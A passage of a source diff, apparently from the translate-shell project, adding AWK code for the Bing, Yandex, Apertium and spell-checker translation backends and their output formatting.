+returnIl[0] = il = !anything(ils) || belongsTo(sl, ils) ? sl : ils[0]
+if (Option["verbose"] < -1)
+return il
+else if (Option["verbose"] < 0)
+return getList(il)
+if (!isVerbose) {
+r = isPhonetic && anything(phonetics) ?
+prettify("brief-translation-phonetics", join(phonetics, " ")) :
+prettify("brief-translation", s(translation, tl))
+if (toSpeech) {
+returnPlaylist[0]["text"] = translation
+returnPlaylist[0]["tl"] = tl
+}
+} else {
+wShowOriginal = Option["show-original"]
+wShowOriginalPhonetics = Option["show-original-phonetics"]
+wShowTranslation = Option["show-translation"]
+wShowTranslationPhonetics = Option["show-translation-phonetics"]
+wShowPromptMessage = Option["show-prompt-message"]
+wShowLanguages = Option["show-languages"]
+wShowOriginalDictionary = Option["show-original-dictionary"]
+wShowDictionary = Option["show-dictionary"]
+wShowAlternatives = Option["show-alternatives"]
+if (!anything(oPhonetics)) wShowOriginalPhonetics = 0
+if (!anything(phonetics)) wShowTranslationPhonetics = 0
+if (getCode(il) == getCode(tl) &&\
+(isarray(oWordClasses) || isarray(oSynonymClasses) ||\
+isarray(oExamples) || isarray(oSeeAlso))) {
+wShowOriginalDictionary = 1
+wShowTranslation = 0
+}
+hasWordClasses = exists(wordClasses)
+hasAltTranslations = exists(altTranslations[0])
+if (!hasWordClasses && !hasAltTranslations)
+wShowPromptMessage = wShowLanguages = 0
+if (!hasWordClasses) wShowDictionary = 0
+if (!hasAltTranslations) wShowAlternatives = 0
+if (wShowOriginal) {
+if (r) r = r RS RS
+r = r m("-- display original text & phonetics")
+r = r prettify("original", s(join(original, " "), il))
+if (wShowOriginalPhonetics)
+r = r RS prettify("original-phonetics", showPhonetics(join(oPhonetics, " "), il))
+}
+if (wShowTranslation) {
+if (r) r = r RS RS
+r = r m("-- display major translation & phonetics")
+r = r prettify("translation", s(translation, tl))
+if (wShowTranslationPhonetics)
+r = r RS prettify("translation-phonetics", showPhonetics(join(phonetics, " "), tl))
+}
+if (wShowPromptMessage || wShowLanguages)
+if (r) r = r RS
+if (wShowPromptMessage) {
+if (hasWordClasses) {
+if (r) r = r RS
+r = r m("-- display prompt message (Definitions of ...)")
+if (isRTL(hl))
+r = r prettify("prompt-message", s(showDefinitionsOf(hl, join(original, " "))))
+else {
+split(showDefinitionsOf(hl, "\0%s\0"), group, "\0")
+for (i = 1; i <= length(group); i++) {
+if (group[i] == "%s")
+r = r prettify("prompt-message-original", show(join(original, " "), il))
+else
+r = r prettify("prompt-message", group[i])
+}
+}
+} else if (hasAltTranslations) {
+if (r) r = r RS
+r = r m("-- display prompt message (Translations of ...)")
+if (isRTL(hl))
+r = r prettify("prompt-message", s(showTranslationsOf(hl, join(original, " "))))
+else {
+split(showTranslationsOf(hl, "\0%s\0"), group, "\0")
+for (i = 1; i <= length(group); i++) {
+if (group[i] == "%s")
+r = r prettify("prompt-message-original", show(join(original, " "), il))
+else
+r = r prettify("prompt-message", group[i])
+}
+}
+}
+}
+if (wShowLanguages) {
+if (r) r = r RS
+r = r m("-- display source language -> target language")
+temp = Option["fmt-languages"]
+if (!temp) temp = "[ %s -> %t ]"
+split(temp, group, /(%s|%S|%t|%T)/)
+r = r prettify("languages", group[1])
+if (temp ~ /%s/)
+r = r prettify("languages-sl", getDisplay(il))
+if (temp ~ /%S/)
+r = r prettify("languages-sl", getName(il))
+r = r prettify("languages", group[2])
+if (temp ~ /%t/)
+r = r prettify("languages-tl", getDisplay(tl))
+if (temp ~ /%T/)
+r = r prettify("languages-tl", getName(tl))
+r = r prettify("languages", group[3])
+}
+if (wShowOriginalDictionary) {
+if (exists(oWordClasses)) {
+if (r) r = r RS
+r = r m("-- display original dictionary (detailed explanations)")
+for (i = 0; i < length(oWordClasses); i++) {
+r = (i > 0 ? r RS : r) RS prettify("original-dictionary-detailed-word-class", s(oWordClasses[i], hl))
+for (j = 0; j < length(oWords[i]); j++) {
+explanation = oWords[i][j][0]
+ref = oWords[i][j][1]
+example = oWords[i][j][2]
+r = (j > 0 ? r RS : r) RS prettify("original-dictionary-detailed-explanation", ins(1, explanation, il))
+if (example)
+r = r RS prettify("original-dictionary-detailed-example", ins(2, "- \"" example "\"", il))
+if (ref && isarray(oRefs[ref])) {
+temp = prettify("original-dictionary-detailed-synonyms", ins(1, show(showSynonyms(hl), hl) ": "))
+temp = temp prettify("original-dictionary-detailed-synonyms-item", show(oSynonyms[oRefs[ref][1]][oRefs[ref][2]][0], il))
+for (k = 1; k < length(oSynonyms[oRefs[ref][1]][oRefs[ref][2]]); k++)
+temp = temp prettify("original-dictionary-detailed-synonyms", ", ")\
+prettify("original-dictionary-detailed-synonyms-item", show(oSynonyms[oRefs[ref][1]][oRefs[ref][2]][k], il))
+r = r RS temp
+}
+}
+}
+}
+if (exists(oSynonymClasses)) {
+r = r RS RS
+r = r m("-- display original dictionary (synonyms)")
+r = r prettify("original-dictionary-synonyms", s(showSynonyms(hl), hl))
+for (i = 0; i < length(oSynonymClasses); i++) {
+r = (i > 0 ? r RS : r) RS prettify("original-dictionary-synonyms-word-class", ins(1, oSynonymClasses[i], hl))
+for (j = 0; j < length(oSynonyms[i]); j++) {
+temp = prettify("original-dictionary-synonyms-synonyms", ins(2, "- "))
+temp = temp prettify("original-dictionary-synonyms-synonyms-item", show(oSynonyms[i][j][0], il))
+for (k = 1; k < length(oSynonyms[i][j]); k++)
+temp = temp prettify("original-dictionary-synonyms-synonyms", ", ")\
+prettify("original-dictionary-synonyms-synonyms-item", show(oSynonyms[i][j][k], il))
+r = r RS temp
+}
+}
+}
+if (exists(oExamples)) {
+r = r RS RS
+r = r m("-- display original dictionary (examples)")
+r = r prettify("original-dictionary-examples", s(showExamples(hl), hl))
+for (i = 0; i < length(oExamples); i++) {
+example = oExamples[i]
+temp = prettify("original-dictionary-examples-example", ins(1, "- "))
+split(example, group, /(<b>|<\/b>)/)
+if (group[3] ~ / [[:punct:].]/)
+group[3] = substr(group[3], 2)
+if (isRTL(il))
+temp = temp show(group[1] group[2] group[3], il)
+else
+temp = temp prettify("original-dictionary-examples-example", group[1])\
+prettify("original-dictionary-examples-original", group[2])\
+prettify("original-dictionary-examples-example", group[3])
+r = (i > 0 ? r RS : r) RS temp
+}
+}
+if (exists(oSeeAlso)) {
+r = r RS RS
+r = r m("-- display original dictionary (see also)")
+r = r prettify("original-dictionary-see-also", s(showSeeAlso(hl), hl))
+temp = ins(1, prettify("original-dictionary-see-also-phrases-item", show(oSeeAlso[0], il)))
+for (k = 1; k < length(oSeeAlso); k++)
+temp = temp prettify("original-dictionary-see-also-phrases", ", ")\
+prettify("original-dictionary-see-also-phrases-item", show(oSeeAlso[k], il))
+r = r RS temp
+}
+}
+if (wShowDictionary) {
+if (r) r = r RS
+r = r m("-- display dictionary entries")
+for (i = 0; i < length(wordClasses); i++) {
+r = (i > 0 ? r RS : r) RS prettify("dictionary-word-class", s(wordClasses[i], hl))
+for (j = 0; j < length(words[i]); j++) {
+word = words[i][j][0]
+article = words[i][j][4]
+if (isRTL(il))
+explanation = join(words[i][j][1], ", ")
+else {
+explanation = prettify("dictionary-explanation-item", words[i][j][1][0])
+for (k = 1; k < length(words[i][j][1]); k++)
+explanation = explanation prettify("dictionary-explanation", ", ")\
+prettify("dictionary-explanation-item", words[i][j][1][k])
+}
+r = r RS prettify("dictionary-word", ins(1, (article ? "(" article ") " : "") word, tl))
+if (isRTL(il))
+r = r RS prettify("dictionary-explanation-item", ins(2, explanation, il))
+else
+r = r RS ins(2, explanation)
+}
+}
+}
+if (wShowAlternatives) {
+if (r) r = r RS RS
+r = r m("-- display alternative translations")
+for (i = 0; i < length(altTranslations); i++) {
+r = (i > 0 ? r RS : r) prettify("alternatives-original", show(segments[i], il))
+if (isRTL(tl)) {
+temp = join(altTranslations[i], ", ")
+r = r RS prettify("alternatives-translations-item", ins(1, temp, tl))
+} else {
+temp = prettify("alternatives-translations-item", altTranslations[i][0])
+for (j = 1; j < length(altTranslations[i]); j++)
+temp = temp prettify("alternatives-translations", ", ")\
+prettify("alternatives-translations-item", altTranslations[i][j])
+r = r RS ins(1, temp)
+}
+}
+}
+if (toSpeech) {
+if (index(showTranslationsOf(hl, "%s"), "%s") > 2) {
+returnPlaylist[0]["text"] = showTranslationsOf(hl)
+returnPlaylist[0]["tl"] = hl
+returnPlaylist[1]["text"] = join(original)
+returnPlaylist[1]["tl"] = il
+} else {
+returnPlaylist[0]["text"] = join(original)
+returnPlaylist[0]["tl"] = il
+returnPlaylist[1]["text"] = showTranslationsOf(hl)
+returnPlaylist[1]["tl"] = hl
+}
+returnPlaylist[2]["text"] = translation
+returnPlaylist[2]["tl"] = tl
+}
+}
+return r
+}
+BEGIN { provides("bing") }
+function bingInit() {
+HttpProtocol = "http://"
+HttpHost = "www.bing.com"
+HttpPort = 80
+}
+function bingSetIG(    content, cookie, group, header, isBody,
+url, status, location) {
+url = HttpPathPrefix "/translator"
+header = "GET " url " HTTP/1.1\r\n"\
+"Host: " HttpHost "\r\n"\
+"Connection: close\r\n"
+if (Option["user-agent"])
+header = header "User-Agent: " Option["user-agent"] "\r\n"
+cookie = NULLSTR
+print header |& HttpService
+while ((HttpService |& getline) > 0) {
+match($0, /Set-Cookie: ([^;]*);/, group)
+if (group[1]) {
+cookie = cookie (cookie ?  "; " : NULLSTR) group[1]
+}
+if (isBody)
+content = content ? content "\r\n" $0 : $0
+else if (length($0) <= 1)
+isBody = 1
+else {
+match($0, /^HTTP[^ ]* ([^ ]*)/, group)
+if (RSTART) status = group[1]
+match($0, /^Location: (.*)/, group)
+if (RSTART) location = squeeze(group[1])
+}
+l(sprintf("%4s bytes > %s", length($0), length($0) < 1024 ? $0 : "..."))
+}
+close(HttpService)
+if ((status == "301" || status == "302") && location)
+content = curl(location)
+Cookie = cookie
+match(content, /IG:"([^"]+)"/, group)
+if (group[1]) {
+IG = group[1]
+} else {
+e("[ERROR] Oops! Something went wrong and I can't translate it for you :(")
+exit 1
+}
+}
+function bingTTSUrl(text, tl,
+country, gender, i, group,
+header, content, isBody) {
+gender = "female"
+country = NULLSTR
+split(Option["narrator"], group, ",")
+for (i in group) {
+if (group[i] ~ /^(f(emale)?|w(oman)?)$/)
+gender = "female"
+else if (group[i] ~ /^m(ale|an)?$/)
+gender = "male"
+else
+country = group[i]
+}
+if (country) tl = tl "-" country
+else if (tl == "ar") tl = tl "-EG"
+else if (tl == "da") tl = tl "-DK"
+else if (tl == "de") tl = tl "-DE"
+else if (tl == "en") tl = tl "-US"
+else if (tl == "es") tl = tl "-ES"
+else if (tl == "fi") tl = tl "-FI"
+else if (tl == "fr") tl = tl "-FR"
+else if (tl == "it") tl = tl "-IT"
+else if (tl == "ja") tl = tl "-JP"
+else if (tl == "ko") tl = tl "-KR"
+else if (tl == "nl") tl = tl "-NL"
+else if (tl == "nb") tl = tl "-NO"
+else if (tl == "pl") tl = tl "-PL"
+else if (tl == "pt") tl = tl "-PT"
+else if (tl == "ru") tl = tl "-RU"
+else if (tl == "sv") tl = tl "-SE"
+else if (tl == "yue") ;
+else if (tl == "zh") tl = tl "-CN"
+header = "GET " "/translator/api/language/Speak?"\
+"locale=" tl "&text=" preprocess(text)\
+"&gender=" gender "&media=audio/mp3" " HTTP/1.1\r\n"\
+"Host: " HttpHost "\r\n"\
+"Connection: close\r\n"
+if (Option["user-agent"])
+header = header "User-Agent: " Option["user-agent"] "\r\n"
+if (Cookie)
+header = header "Cookie: " Cookie "\r\n"
+content = NULLSTR; isBody = 0
+print header |& HttpService
+while ((HttpService |& getline) > 0) {
+if (isBody)
+content = content ? content "\r\n" $0 : $0
+else if (length($0) <= 1)
+isBody = 1
+}
+close(HttpService)
+if (!TempFile)
+TempFile = getOutput("mktemp")
+printf("%s", content) > TempFile
+close(TempFile)
+return TempFile
+}
+function bingWebTranslateUrl(uri, sl, tl, hl) {
+return "http://www.microsofttranslator.com/bv.aspx?"\
+"from=" sl "&to=" tl "&a=" uri
+}
+function bingRequestUrl(text, sl, tl, hl) {
+return HttpPathPrefix "/translator/api/Dictionary/Lookup?"\
+"from=" sl "&to=" tl "&text=" preprocess(text)
+}
+function bingPostRequestUrl(text, sl, tl, hl, type) {
+if (type == "translate")
+return HttpPathPrefix "/ttranslate?&IG=" IG "&IID=translator.5032.2"
+else if (type == "translationlookup")
+return HttpPathPrefix "/ttranslationlookup?&IG=" IG "&IID=translator.5032.2"
+else if (type == "transliterate")
+return HttpPathPrefix "/ttransliterate?&IG=" IG "&IID=translator.5032.1"
+else # type == "detect"
+return HttpPathPrefix "/tdetect?&IG=" IG "&IID=translator.5032.2"
+}
+function bingPostRequestContentType(text, sl, tl, hl, type) {
+return "application/x-www-form-urlencoded"
+}
+function bingPostRequestBody(text, sl, tl, hl, type) {
+if (type == "translate")
+return "&text=" quote(text) "&from=" sl "&to=" tl
+else if (type == "translationlookup")
+return "&text=" quote(text) "&from=" sl "&to=" tl
+else if (type == "transliterate")
+return "&text=" quote(text) "&language=" sl "&toScript=" "latn"
+else # type == "detect"
+return "&text=" quote(text)
+}
+function bingTranslate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl,
+r,
+content, tokens, ast,
+_sl, _tl, _hl, il, isPhonetic,
+translation,
+wShowOriginal, wShowTranslation, wShowLanguages,
+group, temp) {
+isPhonetic = match(tl, /^@/)
+tl = substr(tl, 1 + isPhonetic)
+if (!getCode(tl)) {
+w("[WARNING] Unknown target language code: " tl)
+} else if (isRTL(tl)) {
+if (!FriBidi)
+w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.")
+}
+_sl = getCode(sl); if (!_sl) _sl = sl
+_tl = getCode(tl); if (!_tl) _tl = tl
+_hl = getCode(hl); if (!_hl) _hl = hl
+bingSetIG()
+il = postResponse(text, _sl, _tl, _hl, "detect")
+if (!il) {
+e("[ERROR] Oops! Something went wrong and I can't translate it for you :(")
+ExitCode = 1
+return
+}
+returnIl[0] = il
+if (Option["verbose"] < -1)
+return il
+if (Option["verbose"] < 0)
+return getList(il)
+if (_sl == "auto")  _sl = il
+if (_sl == "bs")    _sl = "bs-Latn"
+if (_sl == "zh-CN") _sl = "zh-CHS"
+if (_sl == "zh-TW") _sl = "zh-CHT"
+if (_tl == "bs")    _tl = "bs-Latn"
+if (_tl == "zh-CN") _tl = "zh-CHS"
+if (_tl == "zh-TW") _tl = "zh-CHT"
+content = postResponse(text, _sl, _tl, _hl, "translate")
+if (Option["dump"])
+return content
+tokenize(tokens, content)
+parseJson(ast, tokens)
+l(content, "content", 1, 1)
+l(tokens, "tokens", 1, 0, 1)
+l(ast, "ast")
+if (!isarray(ast) || !anything(ast)) {
+e("[ERROR] Oops! Something went wrong and I can't translate it for you :(")
+ExitCode = 1
+return
+} else if (ast[0 SUBSEP "statusCode"] != "200") {
+e("[ERROR] statusCode: " ast[0 SUBSEP "statusCode"])
+ExitCode = 1
+return
+}
+translation = unparameterize(ast[0 SUBSEP "translationResponse"])
+wShowTranslationPhonetics = Option["show-translation-phonetics"]
+if (wShowTranslationPhonetics) {
+split(_tl, group, "-")
+content = postResponse(translation, group[1], group[1], _hl, "transliterate")
+phonetics = unparameterize(content)
+if (phonetics == translation) phonetics = ""
+}
+if (!isVerbose) {
+r = isPhonetic && phonetics ?
+prettify("brief-translation-phonetics", join(phonetics, " ")) :
+prettify("brief-translation", s(translation, tl))
+} else {
+wShowOriginal = Option["show-original"]
+wShowTranslation = Option["show-translation"]
+wShowLanguages = Option["show-languages"]
+wShowDictionary = Option["show-dictionary"]
+wShowOriginalPhonetics = Option["show-original-phonetics"]
+if (wShowOriginalPhonetics) {
+split(il, group, "-")
+content = postResponse(text, group[1], group[1], _hl, "transliterate")
+oPhonetics = unparameterize(content)
+if (oPhonetics == text) oPhonetics = ""
+}
+if (!oPhonetics) wShowOriginalPhonetics = 0
+if (!phonetics) wShowTranslationPhonetics = 0
+if (wShowOriginal) {
+if (r) r = r RS RS
+r = r m("-- display original text")
+r = r prettify("original", s(text, il))
+if (wShowOriginalPhonetics)
+r = r RS prettify("original-phonetics", showPhonetics(join(oPhonetics, " "), il))
+}
+if (wShowTranslation) {
+if (r) r = r RS RS
+r = r m("-- display major translation")
+r = r prettify("translation", s(translation, tl))
+if (wShowTranslationPhonetics)
+r = r RS prettify("translation-phonetics", showPhonetics(join(phonetics, " "), tl))
+}
+if (wShowLanguages) {
+if (r) r = r RS RS
+r = r m("-- display source language -> target language")
+temp = Option["fmt-languages"]
+if (!temp) temp = "[ %s -> %t ]"
+split(temp, group, /(%s|%S|%t|%T)/)
+r = r prettify("languages", group[1])
+if (temp ~ /%s/)
+r = r prettify("languages-sl", getDisplay(il))
+if (temp ~ /%S/)
+r = r prettify("languages-sl", getName(il))
+r = r prettify("languages", group[2])
+if (temp ~ /%t/)
+r = r prettify("languages-tl", getDisplay(tl))
+if (temp ~ /%T/)
+r = r prettify("languages-tl", getName(tl))
+r = r prettify("languages", group[3])
+}
+if (wShowDictionary && false) {
+dicContent = getResponse(text, il, _tl, _hl)
+tokenize(dicTokens, dicContent)
+parseJson(dicAst, dicTokens)
+if (anything(dicAst)) {
+if (r) r = r RS
+r = r m("-- display dictionary entries")
+}
+}
+}
+if (toSpeech) {
+returnPlaylist[0]["text"] = translation
+returnPlaylist[0]["tl"] = tl
+}
+return r
+}
+BEGIN { provides("yandex") }
+function genSID(    content, group, temp) {
+content = curl("http://translate.yandex.com")
+match(content, /SID:[[:space:]]*'([^']+)'/, group)
+if (group[1]) {
+split(group[1], temp, ".")
+SID = reverse(temp[1]) "." reverse(temp[2]) "." reverse(temp[3])
+} else {
+e("[ERROR] Oops! Something went wrong and I can't translate it for you :(")
+exit 1
+}
+}
+function yandexInit() {
+genSID()
+YandexWebTranslate = "z5h64q92x9.net"
+HttpProtocol = "http://"
+HttpHost = "translate.yandex.net"
+HttpPort = 80
+}
+function yandexRequestUrl(text, sl, tl, hl,    group) {
+split(sl, group, "-"); sl = group[1]
+split(tl, group, "-"); tl = group[1]
+return HttpPathPrefix "/api/v1/tr.json/translate?"\
+"id=" SID "-0-0&srv=tr-text"\
+"&text=" preprocess(text) "&lang=" (sl == "auto" ? tl : sl "-" tl)
+}
+function yandexPostRequestBody(text, sl, tl, hl, type) {
+return "text=" quote(text) "&lang=" sl
+}
+function yandexGetDictionaryResponse(text, sl, tl, hl,    content, header, isBody, url) {
+split(sl, group, "-"); sl = group[1]
+split(tl, group, "-"); tl = group[1]
+url = "http://dictionary.yandex.net/dicservice.json/lookupMultiple?"\
+"&text=" preprocess(text) "&dict=" sl "-" tl
+content = curl(url)
+return assert(content, "[ERROR] Null response.")
+}
+function yandexTTSUrl(text, tl,
+speaker, emotion, i, group) {
+speaker = NULLSTR
+emotion = NULLSTR
+split(Option["narrator"], group, ",")
+for (i in group) {
+if (group[i] ~ /^(g(ood)?|n(eutral)?|e(vil)?)$/)
+emotion = group[i]
+else if (group[i] ~ /^(f(emale)?|w(oman)?)$/)
+speaker = "alyss"
+else if (group[i] ~ /^m(ale|an)?$/)
+speaker = "zahar"
+else
+speaker = group[i]
+}
+switch (tl) {
+case "ar": tl = "ar_AE"; break
+case "cs": tl = "cs_CZ"; break
+case "da": tl = "da_DK"; break
+case "de": tl = "de_DE"; break
+case "el": tl = "el_GR"; break
+case "en": tl = "en_GB"; break
+case "es": tl = "es_ES"; break
+case "fi": tl = "fi_FI"; break
+case "fr": tl = "fr_FR"; break
+case "it": tl = "it_IT"; break
+case "nl": tl = "nl_NL"; break
+case "no": tl = "no_NO"; break
+case "pl": tl = "pl_PL"; break
+case "pt": tl = "pt_PT"; break
+case "ru": tl = "ru_RU"; break
+case "sv": tl = "sv_SE"; break
+case "tr": tl = "tr_TR"; break
+default: tl = NULLSTR
+}
+return HttpProtocol "tts.voicetech.yandex.net" "/tts?"\
+"text=" preprocess(text) (tl ? "&lang=" tl : tl)\
+(speaker ? "&speaker=" speaker : speaker)\
+(emotion ? "&emotion=" emotion : emotion)\
+"&format=mp3" "&quality=hi"
+}
+function yandexWebTranslateUrl(uri, sl, tl, hl) {
+gsub(/:\/\//, "/", uri)
+return HttpProtocol YandexWebTranslate "/proxy_u/"\
+(sl == "auto" ? tl : sl "-" tl)"/" uri
+}
+function yandexTranslate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl,
+r,
+content, tokens, ast,
+_sl, _tl, _hl, il, isPhonetic,
+translation,
+wShowOriginal, wShowTranslation, wShowLanguages,
+wShowDictionary, dicContent, dicTokens, dicAst,
+i, syn, mean,
+group, temp) {
+isPhonetic = match(tl, /^@/)
+tl = substr(tl, 1 + isPhonetic)
+if (!getCode(tl)) {
+w("[WARNING] Unknown target language code: " tl)
+} else if (isRTL(tl)) {
+if (!FriBidi)
+w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.")
+}
+_sl = getCode(sl); if (!_sl) _sl = sl
+_tl = getCode(tl); if (!_tl) _tl = tl
+_hl = getCode(hl); if (!_hl) _hl = hl
+content = getResponse(text, _sl, _tl, _hl)
+if (Option["dump"])
+return content
+tokenize(tokens, content)
+parseJson(ast, tokens)
+l(content, "content", 1, 1)
+l(tokens, "tokens", 1, 0, 1)
+l(ast, "ast")
+if (!isarray(ast) || !anything(ast)) {
+e("[ERROR] Oops! Something went wrong and I can't translate it for you :(")
+ExitCode = 1
+return
+}
+if (ast[0 SUBSEP "code"] != "200") {
+e("[ERROR] " unparameterize(ast[0 SUBSEP "message"]))
+ExitCode = 1
+return
+}
+translation = unparameterize(ast[0 SUBSEP "text" SUBSEP 0])
+wShowTranslationPhonetics = Option["show-translation-phonetics"]
+if (wShowTranslationPhonetics) {
+split(_tl, group, "-")
+data = yandexPostRequestBody(translation, group[1], group[1], _hl, "translit")
+content = curlPost("https://translate.yandex.net/translit/translit", data)
+phonetics = (content ~ /not supported$/) ? "" : unparameterize(content)
+}
+split(unparameterize(ast[0 SUBSEP "lang"]), group, "-")
+returnIl[0] = il = group[1]
+if (Option["verbose"] < -1)
+return il
+else if (Option["verbose"] < 0)
+return getList(il)
+if (!isVerbose) {
+r = isPhonetic && phonetics ?
+prettify("brief-translation-phonetics", join(phonetics, " ")) :
+prettify("brief-translation", s(translation, tl))
+} else {
+wShowOriginal = Option["show-original"]
+wShowTranslation = Option["show-translation"]
+wShowLanguages = Option["show-languages"]
+wShowDictionary = Option["show-dictionary"]
+wShowOriginalPhonetics = Option["show-original-phonetics"]
+if (wShowTranslationPhonetics) {
+split(il, group, "-")
+data = yandexPostRequestBody(text, group[1], group[1], _hl, "translit")
+content = curlPost("https://translate.yandex.net/translit/translit", data)
+oPhonetics = (content ~ /not supported$/) ? "" : unparameterize(content)
+}
+if (!oPhonetics) wShowOriginalPhonetics = 0
+if (!phonetics) wShowTranslationPhonetics = 0
+if (wShowOriginal) {
+if (r) r = r RS RS
+r = r m("-- display original text & phonetics")
+r = r prettify("original", s(text, il))
+if (wShowOriginalPhonetics)
+r = r RS prettify("original-phonetics", showPhonetics(join(oPhonetics, " "), il))
+}
+if (wShowTranslation) {
+if (r) r = r RS RS
+r = r m("-- display major translation")
+r = r prettify("translation", s(translation, tl))
+if (wShowTranslationPhonetics)
+r = r RS prettify("translation-phonetics", showPhonetics(join(phonetics, " "), tl))
+}
+if (wShowLanguages) {
+if (r) r = r RS RS
+r = r m("-- display source language -> target language")
+temp = Option["fmt-languages"]
+if (!temp) temp = "[ %s -> %t ]"
+split(temp, group, /(%s|%S|%t|%T)/)
+r = r prettify("languages", group[1])
+if (temp ~ /%s/)
+r = r prettify("languages-sl", getDisplay(il))
+if (temp ~ /%S/)
+r = r prettify("languages-sl", getName(il))
+r = r prettify("languages", group[2])
+if (temp ~ /%t/)
+r = r prettify("languages-tl", getDisplay(tl))
+if (temp ~ /%T/)
+r = r prettify("languages-tl", getName(tl))
+r = r prettify("languages", group[3])
+}
+if (wShowDictionary && false) {
+dicContent = yandexGetDictionaryResponse(text, il, _tl, _hl)
+tokenize(dicTokens, dicContent)
+parseJson(dicAst, dicTokens)
+if (anything(dicAst)) {
+if (r) r = r RS
+r = r m("-- display dictionary entries")
+saveSortedIn = PROCINFO["sorted_in"]
+PROCINFO["sorted_in"] = "@ind_num_asc"
+for (i in dicAst) {
+if (i ~ "^0" SUBSEP "def" SUBSEP "[[:digit:]]+" SUBSEP\
+"pos$") {
+r = r RS prettify("dictionary-word-class", s((literal(dicAst[i])), hl))
+syn = mean = ""
+}
+if (i ~ "^0" SUBSEP "def" SUBSEP "[[:digit:]]+" SUBSEP\
+"tr" SUBSEP "[[:digit:]]+" SUBSEP\
+"mean" SUBSEP "[[:digit:]]+" SUBSEP "text") {
+if (mean) {
+mean = mean prettify("dictionary-explanation", ", ")\
+prettify("dictionary-explanation-item", s((literal(dicAst[i])), sl))
+} else {
+mean = prettify("dictionary-explanation-item", s((literal(dicAst[i])), sl))
+}
+}
+if (i ~ "^0" SUBSEP "def" SUBSEP "[[:digit:]]+" SUBSEP\
+"tr" SUBSEP "[[:digit:]]+" SUBSEP\
+"syn" SUBSEP "[[:digit:]]+" SUBSEP "text") {
+if (syn) {
+syn = syn prettify("dictionary-explanation", ", ")\
+prettify("dictionary-word", s((literal(dicAst[i])), il))
+} else {
+syn = prettify("dictionary-word", s((literal(dicAst[i])), il))
+}
+}
+if (i ~ "^0" SUBSEP "def" SUBSEP "[[:digit:]]+" SUBSEP\
+"tr" SUBSEP "[[:digit:]]+" SUBSEP "text$") {
+text = prettify("dictionary-word", s((literal(dicAst[i])), il))
+if (syn) {
+r = r RS ins(1, text prettify("dictionary-explanation", ", ") syn)
+} else {
+r = r RS ins(1, text)
+}
+r = r RS ins(2, mean)
+syn = mean = ""
+}
+}
+PROCINFO["sorted_in"] = saveSortedIn
+}
+}
+}
+if (toSpeech) {
+returnPlaylist[0]["text"] = translation
+returnPlaylist[0]["tl"] = tl
+}
+return r
+}
+BEGIN { provides("apertium") }
+function apertiumInit() {
+HttpProtocol = "http://"
+HttpHost = "www.apertium.org"
+HttpPort = 80
+}
+function apertiumRequestUrl(text, sl, tl, hl) {
+return HttpPathPrefix "/apy/translate?"\
+"langpair=" preprocess(sl) "|" preprocess(tl)\
+"&q=" preprocess(text)
+}
+function apertiumTTSUrl(text, tl,    narrator) {
+}
+function apertiumWebTranslateUrl(uri, sl, tl, hl) {
+}
+function apertiumTranslate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl,
+r,
+content, tokens, ast,
+_sl, _tl, _hl, il,
+translation,
+wShowOriginal, wShowTranslation, wShowLanguages,
+group, temp) {
+if (!getCode(tl)) {
+w("[WARNING] Unknown target language code: " tl)
+} else if (isRTL(tl)) {
+if (!FriBidi)
+w("[WARNING] " getName(tl) " is a right-to-left language, but FriBidi is not found.")
+}
+_sl = getCode(sl); if (!_sl) _sl = sl
+_tl = getCode(tl); if (!_tl) _tl = tl
+_hl = getCode(hl); if (!_hl) _hl = hl
+_sl = "auto" == _sl ? "en" : _sl
+content = getResponse(text, _sl, _tl, _hl)
+if (Option["dump"])
+return content
+tokenize(tokens, content)
+parseJson(ast, tokens)
+l(content, "content", 1, 1)
+l(tokens, "tokens", 1, 0, 1)
+l(ast, "ast")
+if (!isarray(ast) || !anything(ast)) {
+e("[ERROR] Oops! Something went wrong and I can't translate it for you :(")
+ExitCode = 1
+return
+}
+translation = uprintf(unquote(unparameterize(ast[0 SUBSEP "responseData" SUBSEP "translatedText"])))
+returnIl[0] = il = _sl
+if (Option["verbose"] < -1)
+return il
+else if (Option["verbose"] < 0)
+return getList(il)
+if (!isVerbose) {
+r = translation
+} else {
+wShowOriginal = Option["show-original"]
+wShowTranslation = Option["show-translation"]
+wShowLanguages = Option["show-languages"]
+if (wShowOriginal) {
+if (r) r = r RS RS
+r = r m("-- display original text")
+r = r prettify("original", s(text, il))
+}
+if (wShowTranslation) {
+if (r) r = r RS RS
+r = r m("-- display major translation")
+r = r prettify("translation", s(translation, tl))
+}
+if (wShowLanguages) {
+if (r) r = r RS RS
+r = r m("-- display source language -> target language")
+temp = Option["fmt-languages"]
+if (!temp) temp = "[ %s -> %t ]"
+split(temp, group, /(%s|%S|%t|%T)/)
+r = r prettify("languages", group[1])
+if (temp ~ /%s/)
+r = r prettify("languages-sl", getDisplay(il))
+if (temp ~ /%S/)
+r = r prettify("languages-sl", getName(il))
+r = r prettify("languages", group[2])
+if (temp ~ /%t/)
+r = r prettify("languages-tl", getDisplay(tl))
+if (temp ~ /%T/)
+r = r prettify("languages-tl", getName(tl))
+r = r prettify("languages", group[3])
+}
+}
+if (toSpeech) {
+returnPlaylist[0]["text"] = translation
+returnPlaylist[0]["tl"] = tl
+}
+return r
+}
+BEGIN {
+provides("spell")
+provides("aspell")
+provides("hunspell")
+}
+function spellInit() {
+Ispell = detectProgram("aspell", "--version") ? "aspell" :
+(detectProgram("hunspell", "--version") ? "hunspell" : "")
+if (!Ispell) {
+e("[ERROR] Spell checker (aspell or hunspell) not found.")
+exit 1
+}
+}
+function aspellInit() {
+if (!(Ispell = detectProgram("aspell", "--version") ? "aspell" : "")) {
+e("[ERROR] Spell checker (aspell) not found.")
+exit 1
+}
+}
+function hunspellInit() {
+if (!(Ispell = detectProgram("hunspell", "--version") ? "hunspell" : "")) {
+e("[ERROR] Spell checker (hunspell) not found.")
+exit 1
+}
+}
+function spellTranslate(text, sl, tl, hl,
+isVerbose, toSpeech, returnPlaylist, returnIl,
+args, i, j, r, line, group, word, sug) {
+args = " -a" (sl != "auto" ? " -d " sl : "")
+if (system("echo" PIPE Ispell args SUPOUT SUPERR)) {
+e("[ERROR] No dictionary for language: " sl)
+exit 1
+}
+i = 1
+r = ""
+while ((("echo " parameterize(text) PIPE Ispell args SUPERR) |& getline line) > 0) {
+match(line,
